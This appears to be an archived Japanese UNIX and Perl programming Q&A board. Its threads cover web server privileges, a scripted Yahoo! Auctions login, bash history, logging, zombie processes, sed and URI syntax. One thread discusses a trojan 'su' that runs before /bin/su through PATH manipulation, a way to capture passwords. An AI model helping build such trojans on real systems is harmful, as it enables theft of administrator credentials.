>>2986 koko > ・親プロセスはwaitしません。 ってのは親プロセスにも手を入れたくないという意味かと思った のですが、wait でブロックさせたくないという意図だったのですね。 読み違えておりました。 |
|
こんにちは 質問があってきました Perlを使っていると system関数やexec関数を使うようになりました 便利でとてもよいのですが Root権限でコマンドが実行されているような気がします くわしくはまだ確認していません。 また、CGIでファイルマネージャーを使っていますが これも同じようにパスワードファイルなどを開かれるという欠点があります 全ディレクトリやファイルのパーミッションを000にすることはもちろんできませんし 一部だけのパーミッション設定もだめです 例)/homeを000にするが/home/userが777だとアクセスされてしまう これらのことからセキュリティーホールとなっていてとても不安です これらについての対処法はなにかないでしょうか? |
|
>>2991 Japper > Root権限でコマンドが実行されているような気がします perl スクリプト中で print "$<\n"; print "$>\n"; の結果のいずれかが 0 なら root 権限を得ています (が、おそらくは 勘違いではないかと思います)。 > これも同じようにパスワードファイルなどを開かれるという欠点があります 書きかけですが、 http://x68000.startshop.co.jp/~68user/webcgi/cryptogram.html が参考になるかもしれません。 |
|
初めまして!YAHOO!オークションのログインをプログラムで実行したいのですが、上手くいきません。ブラウザでの通信のlogをとり、プログラムを組んでいたのですが、どうしてもPOSTした後の3種類のクッキーがとれ ないのです。上手くいけば下のような3種類のクッキー(個人情報なので***になっています)が返されるのですが、 ・・・・・・・・・・ブラウザのlog・・・・・・・・・ <ブラウザのPOST> POST /config/login?5934sjuoe8ci4 HTTP/1.0 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */* Referer: http://login.yahoo.co.jp/config/login?.lg=jp&.intl=jp&.src=auc&.last=http:%2f%2flogin.yahoo.co.jp%2fconfig%2fedit_auc&.done=http:%2f%2fuser.auctions.yahoo.co.jp/jp/show/mystatus&reason=notloggedin Accept-Language: ja Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: login.yahoo.co.jp Content-Length: 259 Pragma: no-cache Cookie: B=cv85agsv02md9&b=2 Connection: keep-alive Browser reload detected... Posting 259 bytes... .tries=1 .src=auc .last=http%3A%2F%2Flogin.yahoo.co.jp%2Fconfig%2Fedit_auc promo= .intl=jp .bypass= .partner= .u=cq4ce2ov02mdi .v=0 .fUpdate=Y hasMsgr=0 .chkP=Y .done=http%3A%2F%2Fuser.auctions.yahoo.co.jp%2Fjp%2Fshow%2Fmystatus login=******** passwd=*********** <レスポンス> HTTP/1.1 302 Found Date: Thu, 19 Dec 2002 05:31:58 GMT P3P: policyref="http://privacy.yahoo.co.jp/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" Location: http://login.yahoo.co.jp/config/verify?.done=http%3a//user.auctions.yahoo.co.jp/jp/show/mystatus Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=euc-jp Set-Cookie:**** Set-Cookie:**** Set-Cookie:**** ・・・・・・・・・・・・・・・・・・・・・・・・・・・・・ このセッションがどうしても上手くいかず、3種のset-cookie が取得できないのです。大変お忙しい中恐縮ですが、もしよろしければ、アドバイスをよろしくお願いします。とても見せれるプログラムではありませ んが、下記に示します。 try{ URL u = new URL("http://login.yahoo.co.jp/config/login?5934sjuoe8ci4"); URLConnection uc = u.openConnection(); uc.setRequestProperty("Cookie:","B=cv85agsv02md9&b=2); uc.setDoOutput(true); uc.setDoInput(true); OutputStreamWriter out = new OutputStreamWriter(uc.getOutputStream(), "EUC_JP"); query.Encode3(".tries","1"); query.Encode1(".src","auc"); query.Encode1(".last","http://login.yahoo.co.jp/config/edit_auc"); query.Encode1("promo",""); *query.Encode()はクエリー文字列にするための関数です。 query.Encode1(".intl","jp"); query.Encode1(".bypass",""); query.Encode1(".partner",""); query.Encode1(".u",data2); query.Encode1(".v","0"); query.Encode1(".fUpdate","Y"); query.Encode1("hasMsgr","0"); query.Encode1(".chkP","Y"); query.Encode1(".done","http://user.auctions.yahoo.co.jp/jp/show/mystatus"); query.Encode1("login",ID); query.Encode1("passwd",PW); out.write(query.toString()); out.write("\r\n"); out.flush(); out.close(); /////////////(1)////////////////////////////// for (int j = 0; ; j++) { String header = uc.getHeaderField(j); if (header == null) break; System.out.println(uc.getHeaderFieldKey(j) + ": " + header); } } catch (Exception a) { System.err.println(a); } ちなみに(1)で出力されたヘッダ情報は null: HTTP/1.1 200 OK Date: Thu, 19 Dec 2002 07:16:58 GMT Refresh: 900; URL=http://www.yahoo.co.jp/ Cache-Control: private Pragma: no-cache Expires: Thu, 05 Jan 1995 22:00:00 GMT Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=euc-jp Set-Cookie: B=el2pemcv02sja&b=2; expires=Thu, 15 Apr 2010 20:00:00 GMT; path=/; domain=.yahoo.co.jp 上記のレスポンスを取得してしまい、クッキーが取得できずに先に進めないのです。長くなってしまい、大変ご迷惑をお掛けしますがよろしくお願い致します。 では、失礼します。 |
|
>>2993 ruku いったん/cofig/loginをGETしてCookieと/cofig/login?以降の文字列と .uの値を取得し、それらの値をセットしたうえでユーザIDとパスワードを POSTすれば行けるんじゃないでしょうか。 この手のwebアプリはログイン後の画面ではCookieだけでなく、 それ以外の手段でもユーザを一意に識別する何らかの値を持ちまわらせ、 Cookieの(そのものでなく大抵はセッションオブジェクトなりDBなりに 入れた)値とのクロスチェックでユーザを認証している場合があります。 YAHOO!オークションがどうなっているかは知りませんが、 その手の仕組みが組み込まれているんじゃないでしょうか。 |
|
>>2993 ruku うまくいかないときのアプローチとしては、まずはやっぱり telnet とか Socket で直接つなぐ方がいいんじゃないでしょうかね。 アクセスに成功する QUERY は知っているし、失敗する QUERY も 知っているわけで (よくわかってませんが、OutputStreamWriter に 細工をすればリクエストの生データが取れるんですよね? ) その 2つの内容をつきあわせて一つ一つチェックすると。ないとは 思いますが、もしかしたら USER_AGENT で制限かけてたりする かもしれませんし。 |
|
おひさしぶりです。kikiです。前回はお世話になりました。 今回もお聞きしたいことがあり、書き込ませていただきました。 今、私はbash(2.04)をいじって、以下のことが したいと思っているのです。それは 1.コマンドが実行された時間をそのコマンド履歴といっしょに 特定のファイルに出力する。(.bash_historyに タイムスタンプをつける感じです。 2.特定のファイルにコマンド履歴が追加されるタイミングを そのコマンドが打ち込まれた直後になるようにする。 このようなことはbashのソースを書き換えればできるのでしょうか? どうかご教授をよろしくお願い致します。 P.S. history -w の様なことを自動的にできればいいのですが、 historyコマンドは、シェル自身のコマンドなので無理でしょうし。 うーん。 |
|
>>2994 hsj 貴重なアドバイスありがとうございます。いちおう.uやcookieの値はお書きしたプログラムの前で取得しているので問題はないと思うのですが・・・。これがなかなか上手くいかないのです。 >>2995 68user ソケットで試してみます。貴重なアドバイスありがとうございました。 |
|
度々すみません。ブラウザの設定でcookieを無効にして再度logをとったら プログラムと同じになりました。次にlogを示します。 +++GET 457+++ POST /config/login?2v1pmh3i6v229 HTTP/1.0 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */* Referer: http://login.yahoo.co.jp/config/login?.lg=jp&.intl=jp&.src=auc&.last=http:%2f%2flogin.yahoo.co.jp%2fconfig%2fedit_auc&.done=http:%2f%2fuser.auctions.yahoo.co.jp/jp/show/mystatus&reason=notloggedin Accept-Language: ja Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: login.yahoo.co.jp Content-Length: 259 Pragma: no-cache Connection: keep-alive Browser reload detected... Posting 259 bytes... .tries=1 .src=auc .last=http%3A%2F%2Flogin.yahoo.co.jp%2Fconfig%2Fedit_auc promo= .intl=jp .bypass= .partner= .u=5g07ercv0d4tr .v=0 .fUpdate=Y hasMsgr=0 .chkP=Y .done=http%3A%2F%2Fuser.auctions.yahoo.co.jp%2Fjp%2Fshow%2Fmystatus login=************* passwd=***************** +++RESP 457+++ HTTP/1.1 302 Found Date: Mon, 23 Dec 2002 04:40:38 GMT P3P: policyref="http://privacy.yahoo.co.jp/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" Location: http://login.yahoo.co.jp/config/verify?.done=http%3a//user.auctions.yahoo.co.jp/jp/show/mystatus Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=euc-jp Set-Cookie: ****** Set-Cookie: ****** Set-Cookie: ****** +++CLOSE 457+++ +++GET 458+++ GET /config/verify?.done=http%3a//user.auctions.yahoo.co.jp/jp/show/mystatus HTTP/1.0 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */* Referer: http://login.yahoo.co.jp/config/login?.lg=jp&.intl=jp&.src=auc&.last=http:%2f%2flogin.yahoo.co.jp%2fconfig%2fedit_auc&.done=http:%2f%2fuser.auctions.yahoo.co.jp/jp/show/mystatus&reason=notloggedin Accept-Language: ja Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Host: login.yahoo.co.jp Pragma: no-cache Connection: keep-alive Browser reload detected... +++RESP 458+++ HTTP/1.1 200 OK Date: Mon, 23 Dec 2002 04:40:38 GMT Refresh: 900; URL=http://www.yahoo.co.jp/ Cache-Control: private Pragma: no-cache Expires: Thu, 05 Jan 1995 22:00:00 GMT Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=euc-jp Set-Cookie: B=2m7te28v0d4u6&b=2; expires=Thu, 15 Apr 2010 20:00:00 GMT; path=/; domain=.yahoo.co.jp +++CLOSE 458+++ cookieを無効にしても3種のcookieはとれるようなのです。しかも最後の ヘッダの応答はプログラムでもとれているのです。ただ、POSTを送る処理 しかプログラムでは行っていないはずなのに最後のヘッダの応答を取得して しまうのはどうしてでしょうか?もしよろしければアドバイスよろしくお願いします。もしかしたら応答ヘッダの取得する場所が悪いのでしょうか? |
|
>>2998 ruku 先ほど試しにncで > いったん/cofig/loginをGETしてCookieと/cofig/login?以降の文字列と > .uの値を取得し、それらの値をセットしたうえでユーザIDとパスワードを > POSTすれば行けるんじゃないでしょうか。 をやってみたところ、問題なく3つのCookieが発行されました。 #ただし、最初のGETは/cofig/login?.src=aucに対して行いました。 なので、プログラムが正確に上記の事を行えば問題なく行けると思いますが・・・。 |
|
> 2996 > このようなことはbashのソースを書き換えればできるのでしょうか? 入力を解析し、プロセスを実行しているのは bash なので、ソースに手を いれれば何でも可能です。 |
|
>3000 68user様 お返事ありがとうございます.kikiです. やってみましたところ、なんとかできました。 ありがとうございました。 |
|
C言語で複数のプロセスが同一のファイルに対してログを出力する処理を作成したいのですが、このような共有書き込み用のファイルを設ける方法としてUNIXでよくやる方法というものはあるでしょうか。 もちろん、定石でなくても良いです。 できれば、書き込み時に自分でファイルをロック、アンロックしない、要するにできるだけ楽をしたいです。 ログの書き込みは同時に発生する可能性があります。 Windowsであれば、共有書き込みでファイルを開く関数があるのですが...。 ●処理イメージ 1.親プロセスでログファイルを開く。 2.複数の子プロセスを起動し、親が開いたログファイルにログを出力する。 3.全子プロセス終了後にログファイルを閉じる。 よろしくお願い致します。 |
|
はじまめして UNIXのファイルアクセスでつまづいています。 Aという、所有者がnobody のファイルがあるのですが、あるunixサーバでは webというユーザからアクセス(名前変更)ができます。 ところが、同じOSの別のサーバにあるBという、所有者がnobodyのファイル にはwebというユーザからアクセスできません。 nobodyのファイルはどのユーザでもアクセスできると認識しているのです が、ソフトのインストールやセキュリティの設定などでアクセスできないようにすることが可能なのでしょうか? どなたかご存知の方いらっしゃいましたら教えてください。 |
|
>>2992 68user ご回答ありがとうございます パスワード的なことはやはりcrypt関数を使うことで解決できそうな気がします >> Root権限でコマンドが実行されているような気がします >perl スクリプト中で > print "$<\n"; > print "$>\n"; >の結果のいずれかが 0 なら root 権限を得ています やはり両方とも 0 を返しました このことからRoot権限を得ているのでしょうか? Root権限を与えない方法はどのようにすればよいのでしょうか? よろしくお願いします |
|
> 3003 yuuji WebサーバがApacheならsuEXECを使えばいいと思いますよ。 http://httpd.apache.org/docs/suexec.html |
|
>>2999 hsj ありがとうございます。わかりました。頑張ってみます。 |
|
>>3002 koko > できれば、書き込み時に自分でファイルをロック、アンロックしない、 > 要するにできるだけ楽をしたいです。 これを第一に考えるなら syslog か、syslog-ng を使いましょう。 daemon を立ち上げておけないのなら、open で O_SHLOCK を使うとか (ま、結局ロックしているわけですが)。 また、 > 1.親プロセスでログファイルを開く。 > 2.複数の子プロセスを起動し、親が開いたログファイルにログを出力する。 という形態であれば、普通は pipe(2) して、fork(2) して、子が親にデータを 渡し、親がログに書く、というふうになるでしょう。 http://x68000.startshop.co.jp/~68user/cgi-bin/cvsweb.cgi/public_html/links/link-check.pl?rev=HEAD&content-type=text/x-cvsweb-markup は子が親に 1行だけデータを渡す例です。 あるいは親が名前付きパイプを作成し、子がそこに書き込むとか。 いずれにせよ、syslog が使えないなら、syslog 相当のものを 自作する必要はあります。 |
|
>>3003 yuuji > nobodyのファイルはどのユーザでもアクセスできると認識して > いるのですが 誤りです。nobody はただの一ユーザであって、所有者が nobody の ファイルを扱えるかどうかは そのファイルのパーミッションと、ファイルが 置かれているディレクトリのパーミッションによります。 UNIX においては、誰よりも権限が高いユーザは存在しますが (root)、 誰よりも権限が低いユーザというのは存在しません。 >>3004 Japper > このことからRoot権限を得ているのでしょうか? そうです。 > Root権限を与えない方法はどのようにすればよいのでしょうか? suExec の前に、設定を見直した方がよいでしょう。 もし apache ならば、あえてそういうふうに設定しない限り root 権限は得られません。そういう web サーバを使い続けることは 非常に恐いので、まっとうなインストール方法を勉強するか、 web サーバをインストールした人に何をしたのか聞いてみる ことをお勧めします。 # 「デフォルトが root 権限で動く web サーバ」なら正常動作 # なんでしょうが、そんな web サーバは嫌だ。 |
|
こんにちは もうすぐ2003年ですね 仕事でSolaris8をいじるようになって早くも4年目に突入です まだまだ未熟者ですがよろしくお願いします 自宅では2001/01版のSolaris8を「WS440BX」で使ってるのですが 最近I845系のマシン(ペンティアム4系)にUPしようと考えるようになりました 当然ながらチップセットやディスクコントローラ、システムコントローラ等の ドライバを入手する必要があるのですが、苦慮しています 新型機の候補としては「D845GALLY」あたりを考えているのですが 情報等あればよろしくお願いします |
|
EWSのデバイス情報(CPUのクロック数、メインメモリ)を知ることができる UNIXコマンドがありましたら、教えて下さい。 |
|
perlでネットワークプログラムを試作してます。 echoをC/Sで動作する事は出来るようになりましたが、ファイルを ネットワーク越しに転送するにはどうすればいいのでしょうか? 同じくperlによるC/Sです。 |
|
はじめまして。 echoサーバーサンプルを参考にしてPerlでちょっとしたチャットサーバーなんかを作ってます。 そこでいきなり質問なんですが、PerlでBroken Pipeエラーを回避するようにできないでしょうか? Broken Pipeとは存在しないソケットに対して書き込んでしまったときにでるエラーのようで、クライアントが強制切断してしまったときなどは回避できません。 どうにか皆様のお知恵をお借りできませんでしょうか。 |
|
あけましておめでとうございます。kikiです。 本年もよろしくお願い致します。 >>68user様 ずいぶんと古い話で申し訳ありませんが、 >>2956 の解決策をためそうとしましたところ、 1. PATH=../../../../../../../home/foo/bar:$PATH とする。 カレントディレクトリの階層があまりに深くなければ、これでいける。 が、どういう事を意味するのかわかりませんでした。 そして、これはどこで行うのでしょうか? suトロイの実行前の準備としてでしょうか? ご教授よろしくお願いします。 P.S. PATH=.:$PATH にしておくき、suトロイがおいてある場所で、suコマンドを打ち込むと suトロイが実行され、もう一度suコマンドを打つと しっかり/bin/suが実行されますが、 suトロイがおいてある場所以外で同じことをしようとすると suトロイは実行されず、いきなり/bin/suが 実行されました。 コマンドを探す順番は、カレントディレクトリからということでしょうか。 うーん、調べてみます。 |
|
今年こそはちゃんと web を更新するぞ、と。 てなわけで、今年もよろしくお願いします。 >>3009 ELVIS >>3010 しましま 少なくとも僕はわかりません。申し訳ない。 >>3011 とむやむ > ファイルをネットワーク越しに転送するにはどうすればいいのでしょうか? 以下のやりとりが参考になるでしょうか。 >>2827 Tetsu >>2828 68user ftp クライアントと ftp サーバを作るもよし、自分でプロトコルを 決めるもよし、ということです。 >>3012 HIGE > PerlでBroken Pipeエラーを回避するようにできないでしょうか? SIGPIPE をキャッチしてください。使用例はこちら。 http://x68000.startshop.co.jp/~68user/net/http-proxy.html >>3013 kiki > PATH=../../../../../../../home/foo/bar:$PATH とする。 カレントディレクトリが /dir1/dir2/dir3 であるとき、 ../ は /dir1/dir2 です。 ../../ は /dir1 です。 ../../../ は / です。 ../../../../ は / です。 ../../../../../ は / です。 ../../../../../home は /home です。 ../../../../../home/foo は /home/foo です。 ../../../../../home/foo/bar は /home/foo/bar です。 ってことです。 > PATH=.:$PATH > コマンドを探す順番は、カレントディレクトリからということでしょうか。 . はカレントディレクトリですから。 |
|
>>3007 68user ご回答ありがとうございます。 やはり、ファイルに同時書き込みをするにはロック、もしくはそれに相当する制御は欠かせませんね。 素直にsyslogを使用すれば良いのですが都合でsyslogは使用できません。 頂いた参考URL等を参考にしながら対策を検討します。 |
|
★ \(^o^)v 大 発 見 !♪ 〜♪ とっても 参考にさせて頂いて ♪ ~~\(^o^)♪ 〜 夢 と 希望 が 叶いました〜♪ (^o^)/~~ ありがとう |
|
もし、ご存知であれば教えてください。 ファイルの日付を比較して新しいほうのファイルを表示したいです。 サーバが異なる場所(ネットワークには接続できる)に、 それぞれファイルが存在するします。 同じマシンであれば、>find file1 -newer file2 -print で表示されるのです。remshで実行しようとしてもうまくいきません。 ご教授お願いいたします。 |
|
AIX上でファイル内の先頭行と最終行を削除したいのですが UNIXコマンドで行を指定して削除することはできないのでしょうか? ※C言語の処理内で行いたいのでsystem関数で可能な方法 もしご存知であれば教えてください。 よろしくお願いします。 |
|
>>3017 ピョンタン remsh でリモートのファイルのタイムスタンプを表示して、ローカルの 方より若ければ rcp するか、とりあえず別のファイル名で rcp して、 ローカルで比較するか、てな感じで。 >>3018 kenken > AIX上でファイル内の先頭行と最終行を削除したいのですが % tail +2 < file | ??? | tail +2 | ??? でいけた記憶があります。??? はファイルの内容を逆順にする コマンドですが、なんだったっけなー。ど忘れしました。 % cat -n file | tail +2 | sort -r | tail +2 | sort | sed 's/^.......//' てな方法もあります。 まぁファイルサイズが大きいなら perl か awk でさくっと書いた方が よいでしょう。 |
|
ご回答ありがとうございます。 大変助かります。>No.3019(NO3017についての回答) もうひとつ教えてください。ファイルの タイムスタンプを取得するのに、 (1)Jan 9 2001 ← 2001/01/09 (2)Dec 10 13:56 ← 2002/12/10 (3)Jun 1 15:00 ← 2003/01/01 というふうに統一性がありません。 特に、(2),(3)だったらどうやって比べればいいのでしょうか? 申し訳ありませんが教えて下さい。 |
|
>>3020 ピョンタン % ls -lT % ls --fulltime -l % perl -e 'printf "%d\n", (stat("/foo/bar/baz"))[9]' などなど。 |
|
お返事ありがとうございました。>No.3021 大変助かりました。 もう少しだけ教えてください。 %ls -fulltime -l で確認することができましたが、 参考書や、Webで検索しても の「fulltime」の引数指定意味がよくわかりません。 しかも、私は ×"--fulltime" ○"-fulltime" で、なんとなくうまくいきました。 本当にお手数をおかけしますが、あともう少しなので 教えて下さい。どうかよろしくお願いします。 |
|
% ls --fulltime -l は % ls --full-time -l の間違いでした。 >>3022 ピョンタン > ○"-fulltime" お使いの OS に興味があります。OS の名前を教えてください (てゆーか 質問する際に OS や環境を明示してくださいね)。 意味については % man ls に説明があるはずです。 |
|
初めまして、お世話になります。 68userさんのページのhttp-proxy http://x68000.startshop.co.jp/~68user/net/http-proxy.html をhttpポートフォワーダーに改造して使わせてもらっている物です。 Linuxですが、、連続して稼動させているとTOP表示でMEM使用率が上がって行きます(50%超え)、いろいろ手を加えてみましたが、未だにこのMEM増加を改善できませんでした。 そこでこれをforkを使ったechoサーバを参考にfork版に修正しました。 while (my $sock = $sock_waiting->accept){ my $pid = fork(); my $cpid = $pid ; if ($pid!=0) { close($sock) ; next ;#parlent process } print " FROM Browser. Accept $sock.\n"; #Child process my ($buf,$request); while (1){ my $brs = sysread($sock, $buf, 10000); $request .= $buf; if ($brs) { last ; } } print " FROM Browser. Read OK.\n"; ここに転送先サーバ側とのソケット作成と受信&ブラウザへの返信を記述 print " FROM Browser. Finished.\n"; close($sock); print " FROM Browser. process End \n"; exit ; } の様に子プロセスのexit文もいれました。なのにpsで見ると、、 hoge 19438 12855 0 14:55 pts/21 00:00:00 perl http-proxy2.pl hoge 19578 19438 0 14:55 pts/21 00:00:00 [perl <defunct>] hoge 19579 19438 0 14:55 pts/21 00:00:00 [perl <defunct>] hoge 19580 19438 0 14:55 pts/21 00:00:00 [perl <defunct>] hoge 19581 19438 0 14:55 pts/21 00:00:00 [perl <defunct>] アクセスした分この様なプロセスが残りっぱなしになります。 当然大元スクリプトを停止すればプロセスは消えます。 どうか宜しくご意見ください。 |
|
>>3024 テクノソルジャー > hoge 19578 19438 0 14:55 pts/21 00:00:00 [perl <defunct>] > アクセスした分この様なプロセスが残りっぱなしになります。 wait していないからです。以前指摘をいただいたのですが、時間が とれず手付かずになっています (申し訳ない)。 >>2584 persianopeh をどうぞ。 > 連続して稼動させているとTOP表示でMEM使用率が上がって行きます(50%超え) どうもオリジナル版のバグっぽいですね。久々に使ってみましたが、 確かにメモリ使用量がだんだん増えていきました。調べておきます。 # と言っても暇がない〜。 |
|
>>3024 テクノソルジャー > 連続して稼動させているとTOP表示でMEM使用率が上がって行きます(50%超え) コネクションを切断しても %conn_table_rev が IO::Socket::INET の オブジェクトを指しているみたいです。 あと、%conn_table もキーが増えつづけるようです (値は undef かな?) %conn_table_rev ほどではありませんが (一回あたり数十バイトくらい でしょうか)、メモリリークなのは確かですね。 なので、remove_contable で適切にハッシュを delete してやればよい のかもしれませんが、明日も仕事なのでこの辺で… (´・ω・`) |
|
お忙しいところ調査並びご返事ありがとうございます! >>3025 68user なるほど、、その仕組みが理解できませんが、、 連休明けには会社で早速処置してみます! >>3026 68user こちらはclose漏れかといじって見ましたが、、ハッシュにバインドされているから生成オブジェクトが開放されなかったのですね〜 ハッシュにdefunで増加など考えもしませんでした。 私的に貴重な知識を得ましたです! |
|
久々にこのサーバのメンテナンスしようとしたら、cron (デーモン) は 2001/11 から止まってるわ、間違って ~/bin/ は消してしまうわで もう散々。 いろいろ動かなくなっていると思いますが、なるべく早く直したいと思います。 |
|
はじめまして、こんにちは。 いつも参考にさせていただいております。 sedコマンドを使用して文字列の置換をする処理をしたいのですが、 エラーになってしまいます。 やりたいことは、 「aa aaa aaab aac bbb」から『aaa』だけを消したいのです。 --------------------------------------------------- Sample)aaa.sh #!/bin/sh testA=`echo aa aaa aaab aac bbb | sed s/aaa\\\b//g` --------------------------------------------------- としたとき、「//g」が見つかりませんとなります。 ※ただし「testA」は、「aa aaab aac bbb」となっていますが、、。 ちなみにシェルではなく単純に実行するとエラーはでません。 > echo aa aaa aaab aac bbb | sed s/aaa\b//g > aa aaab aac bbb ※シェル内では\bは「\\」をつけています。 どなたかお力を貸していただけないでしょうか。 また、「sed」以外の方法でもよいです。 -環境:Linux(RedHat 7.2) 宜しくお願いいたします。 |
|
>>3029 VTOK 手元の FreeBSD の sh や bash ではエラーにならなかったので よくわかりませんが、そもそも % echo aa aaa aaab aac bbb | sed s/aaa\b//g この aaa\b はシェルが解釈すると aaab になるので、 % echo aa aaa aaab aac bbb | sed s/aaa\b//g は % echo aa aaa aaab aac bbb | sed s/aaab//g と等価だと思います。 ただしスクリプト中の testA=`echo aa aaa aaab aac bbb | sed s/aaa\\\b//g` は正しいと思います。なんでエラーになるんだろう。 |
|
あけましておめでとうございます。 いつもお世話になりっぱなしですが、今年もよろしくお願いします。 68user さん Perl 5.8 入れてみましたか ;;; いぜん jperl5.5 でファイルテスト演算子 -T を使っていたんですが、 EUC-JP モードであれば EUC-JP の、 Shift_JIS モードであれば Shift_JIS の漢字を真にしてくれて 便利だったんですが、Perl 5.8 に変えたので 使えなくなってしまいました。 encoding で切り替えられるかと思ったんですがダメでした。 あくまで -T を使いたいとしたらどうすればいいか、 どなたかお分かりであればご教示ください。 |
|
初めましてakuroと申します。 最近、ここを知り色々と勉強させて頂いています。 「HTTP クライアントを作ってみよう(4)」にてお聞きしたい事があるのですが。 HTTP CLIENTを実際に作成して動かしてみたのですが、 「さらなる改善点・URL エンコード」の中で、~(チルタ゛)のついた 場合、変換しなければならないとあるのですが、処理を記述しないで 試しに http://x68000.startshop.co.jp/~68user/ と入力してみたのですが、問題なく表示されました。 これはどういう事なのでしょうか? それと、次の項目の「301 Moved Permanently」なのですが、 これも/(スラッシ)無しでも表示されました。 (HEADの場合HTTP/1.1 301 Moved Permanentlyと出ましたが、 BODYもちゃんと表示されました) これもなぜ表示されるかわかりません。 質問が長くなってしまいましたが、よろしくお願いします。 (HTTP_CLIENTは少し変更して、CGI版にしていますが、処理自体は 変更していません。) |
|
また長ったらしい文章を書いてしまった…。 >>3031 ふくし > 68user さん Perl 5.8 入れてみましたか ;;; 5.8 どころか最近は 5.004_04 を使ってますよ。退化してます。 > いぜん jperl5.5 でファイルテスト演算子 -T を使っていたんですが、 > EUC-JP モードであれば EUC-JP の、Shift_JIS モードであれば Shift_JIS の > 漢字を真にしてくれて便利だったんですが、Perl 5.8 に変えたので perl-5.8.0/pp_sys.c には PP(pp_fttext) { for (i = 0; i < len; i++, s++) { if (!*s) { /* null never allowed in text */ odd += len; break; } #ifdef USE_LOCALE if (IN_LOCALE_RUNTIME && isALPHA_LC(*s)) continue; #endif /* utf8 characters don't count as odd */ if (UTF8_IS_START(*s)) { ... } ... } else if (*s < 32 && *s != '\n' && *s != '\r' && *s != '\b' && *s != '\t' && *s != '\f' && *s != 27) odd++; } とかなんとか書いてあったりします (UTF8 は OK のような雰囲気ですね)。 USE_LOCALE で IN_LOCALE_RUNTIME ならもしかして! …というわけでさらにおっかけていくと % find . -type f | xargs grep isALPHA_LC ./handy.h:# define isALPHA_LC(c) NXIsAlpha((unsigned int)(c)) % find . -type f | xargs grep NXIsAlpha ./handy.h: (NXIsAlpha((unsigned int)(c)) || (char)(c) == '_') ./handy.h:# define isALPHA_LC(c) NXIsAlpha((unsigned int)(c)) てなわけで NXIsAlpha とやらが定義されていません。isALPHA_LC を よく見てみると #ifdef USE_NEXT_CTYPE # define isALPHA_LC(c) NXIsAlpha((unsigned int)(c)) #else # define isALPHA_LC(c) isalpha((unsigned char)(c)) #endif てな感じなので、将来は実装するぞ、てなところでしょうか。 >>3032 akuro > 「さらなる改善点・URL エンコード」の中で、~(チルタ゛)のついた > 場合、変換しなければならないとあるのですが URI を定義しているのは RFC1738 です。 http://www.ietf.org/rfc/rfc1738.txt?number=1738 そこには httpurl = "http://" hostport [ "/" hpath [ "?" search ]] とあります。/~68user/ や /%7E68user/ という部分は hpath に相当します。 hpath = hsegment *[ "/" hsegment ] → hpath は hsegment を / で結合したもの。 hsegment = *[ uchar | ";" | ":" | "@" | "&" | "=" ] → hsegment は uchar か上記記号の 0 個以上の繰返し。 uchar = unreserved | escape → uchar は unreserved か escape。 unreserved = alpha | digit | safe | extra escape = "%" hex hex → unreserved は alpha, digit, safe, extra のいずれか。escape は %XX 形式。 alpha = lowalpha | hialpha digit = "0" | "1" | "2" | "3" | "4" | "5" | "6" | "7" | "8" | "9" safe = "$" | "-" | "_" | "." | "+" extra = "!" | "*" | "'" | "(" | ")" | "," → alpha, digit, safe, extra は上記の文字 (lowalpha は英小文字、hialpha は英大文字)。 上記のどこにも ~ は含まれていません。よって、hpath には ~ を 含めてはならず、/~68user/ は間違いで /%7E68user/ は正しいのです。 …というのはその文書を書いた当時の話。今 URI を規定しているのは RFC2396 です。 http://member.nifty.ne.jp/moha/rfc/rfc2396j.txt /~68user/ に相当するのは abs_path です (*1)。 abs_path = "/" path_segments path_segments = segment *( "/" segment ) segment = *pchar *( ";" param ) param = *pchar pchar = unreserved | escaped | ":" | "@" | "&" | "=" | "+" | "$" | "," reserved = ";" | "/" | "?" | ":" | "@" | "&" | "=" | "+" | "$" | "," unreserved = alphanum | mark mark = "-" | "_" | "." | "!" | "~" | "*" | "'" | "(" | ")" mark に ~ が含まれているため、URI として ~ を記述することが認められています。 また、上記ページの「G.2. RFC 1738及びRFC 1808からの修正点」には > チルダ文字"~"を"unreserved"集合に追加した。ある種のキーボードではこの文字の > 入力に困難を伴うが、インターネットにおいて広く用いられているためである。 とあります。 よって、現在では /~68user/ というリクエストを送っても問題ありません。ただし /%7E68user/ という表記も間違いではありません。/~68user/ と /%7E68user/ は 等価です。 # …という解釈でいいのかなぁ。自信がないなぁ。 じゃー昔は /%7E68user/ と書かずに /~68user/ とするとエラーになったのか というと、そんなことはありませんでした。その理由は 「~ を ~ として解釈しても誰も (web サーバも web クライアントも) 困らないので (むしろ便利)、web サーバが気をきかせてくれたから」 だと思います。 (*1) なぜ /~68user/ が abs_path なのかというと、 RFC2616 (http://www.studyinghttp.net/rfc_ja/2616/sec3.html#sec3.2.1) に http_URL = "http:" "//" host [ ":" port ] [ abs_path [ "?" query ]] と定義してあり、さらに URL 構文やセマンティクスの定義についての情報については、(RFC 1738 [4] と RFC 1808 [11] を置き換えた) "Uniform Resource Identifiers (URI): Generic Syntax and Semantics," RFC 2396 参照。 この規格書では、その規格書にある、"URI-reference", "absoluteURI", "relativeURI", "port", "host", "abs_path", "rel_path", "authority" の定義を採用する。 とあるからです。 > それと、次の項目の「301 Moved Permanently」なのですが、 > 